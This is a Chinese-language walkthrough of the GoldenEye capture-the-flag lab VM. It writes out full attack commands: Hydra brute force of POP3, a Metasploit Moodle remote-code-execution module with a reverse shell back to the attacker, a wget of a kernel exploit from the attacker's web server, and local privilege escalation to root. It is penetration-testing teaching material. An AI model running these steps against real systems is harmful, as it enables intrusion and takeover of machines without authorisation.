GoldenEye 渗透测试实战教学文档

1. 环境准备

• 攻击机: Kali Linux
• 目标机: VMware 虚拟机 (IP: 192.168.111.133)
• 免责声明: 本技术仅用于教育目的

2. 信息收集阶段

2.1 初始扫描

nmap 192.168.111.133

发现开放端口:

• 25 (SMTP)
• 80 (HTTP)

2.2 Web 初始访问

访问 http://192.168.111.133/ 发现提示:

User: UNKNOWN 
Navigate to /sev-home/ to login

2.3 源代码分析

查看页面源代码，发现 terminal.js 文件:

// 包含HTML编码的密码
InvincibleHack3r

解密后密码: InvincibleHack3r

3. Web 渗透

3.1 登录尝试

访问 http://192.168.111.133/sev-home/ 使用凭据:

• 用户名: boris
• 密码: InvincibleHack3r

3.2 发现隐藏服务

在调试控制台发现提示:

"我们已将 pop3 服务配置为在非常高的非默认端口上运行"

全端口扫描:

nmap -p- 192.168.111.133

发现端口:

• 55006
• 55007

服务扫描:

nmap -sS -sV -T5 -A -p55006,55007 192.168.111.133

确认运行POP3邮件服务

4. POP3 服务攻击

4.1 暴力破解

创建用户名单:

echo -e 'natalya\nboris' > sun.txt

使用Hydra爆破:

hydra -L sun.txt -P /usr/share/wordlists/fasttrack.txt 192.168.111.133 -s 55007 pop3

获取凭据:

• natalya/bird
• boris/secret1!

4.2 邮件内容分析

使用NC查看邮件:

nc 192.168.111.133 55007

关键邮件内容:

1. 新用户信息:

   • 用户名: xenia
   • 密码: RCP90rulez!
   • 域名: severnaya-station.com/gnocertdir

2. 需要修改本地hosts文件:

   192.168.111.133 severnaya-station.com
   

5. Moodle 系统渗透

5.1 初始访问

访问 severnaya-station.com/gnocertdir 使用凭据:

• xenia/RCP90rulez!

5.2 进一步枚举

发现用户名 doak，再次爆破POP3获取密码:

• doak/goat

查看邮件获得新凭据:

• dr_doak/4England!

5.3 管理员凭据获取

在Moodle中发现 s3cret.txt 提示:

"管理员凭据已隐藏在映像文件中"

下载并分析图片:

wget http://severnaya-station.com/dir007key/for-007.jpg
strings for-007.jpg

发现Base64编码: eFdpbnRlcjE5OTV4IQ==
解码后获得密码: xWinter1995x!

5.4 管理员访问

使用凭据:

• admin/xWinter1995x!

6. 漏洞利用

6.1 识别漏洞

Moodle版本: 2.2.3
相关漏洞: CVE-2013-3630 (远程代码执行)

6.2 Metasploit利用

msfconsole
search moodle
use exploit/multi/http/moodle_cmd_exec
set username admin
set password xWinter1995x!
set rhosts severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost [攻击机IP]
set vhost severnaya-station.com
run

6.3 获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

7. 权限提升

7.1 系统信息收集

uname -a

输出: Linux ubuntu 3.13.0-32

7.2 查找本地提权漏洞

搜索漏洞: Linux ubuntu 3.13.0-32 exploit
发现漏洞编号: 37292

7.3 编译并执行exp

1. 下载exp:

searchsploit 37292
cp /usr/share/exploitdb/exploits/linux/local/37292.c /tmp/

2. 修改编译指令:
   将脚本中的 gcc 改为 cc

3. 传输到目标:

# 在攻击机启动web服务
python -m SimpleHTTPServer 8081

# 在目标机下载
wget http://[攻击机IP]:8081/37292.c

4. 编译执行:

cc -o exp 37292.c
chmod +x exp
./exp

7.4 获取flag

cat /root/.flag.txt

Flag: 568628e0d993b1973adc718237da6e93

8. 总结

本次渗透测试完整流程:

1. 信息收集 → 2. Web渗透 → 3. 服务枚举 → 4. 暴力破解 → 5. 邮件分析 → 6. 系统渗透 → 7. 漏洞利用 → 8. 权限提升

关键点在于细致的枚举分析和利用每一处信息泄露，最终通过已知漏洞获取系统完全控制权。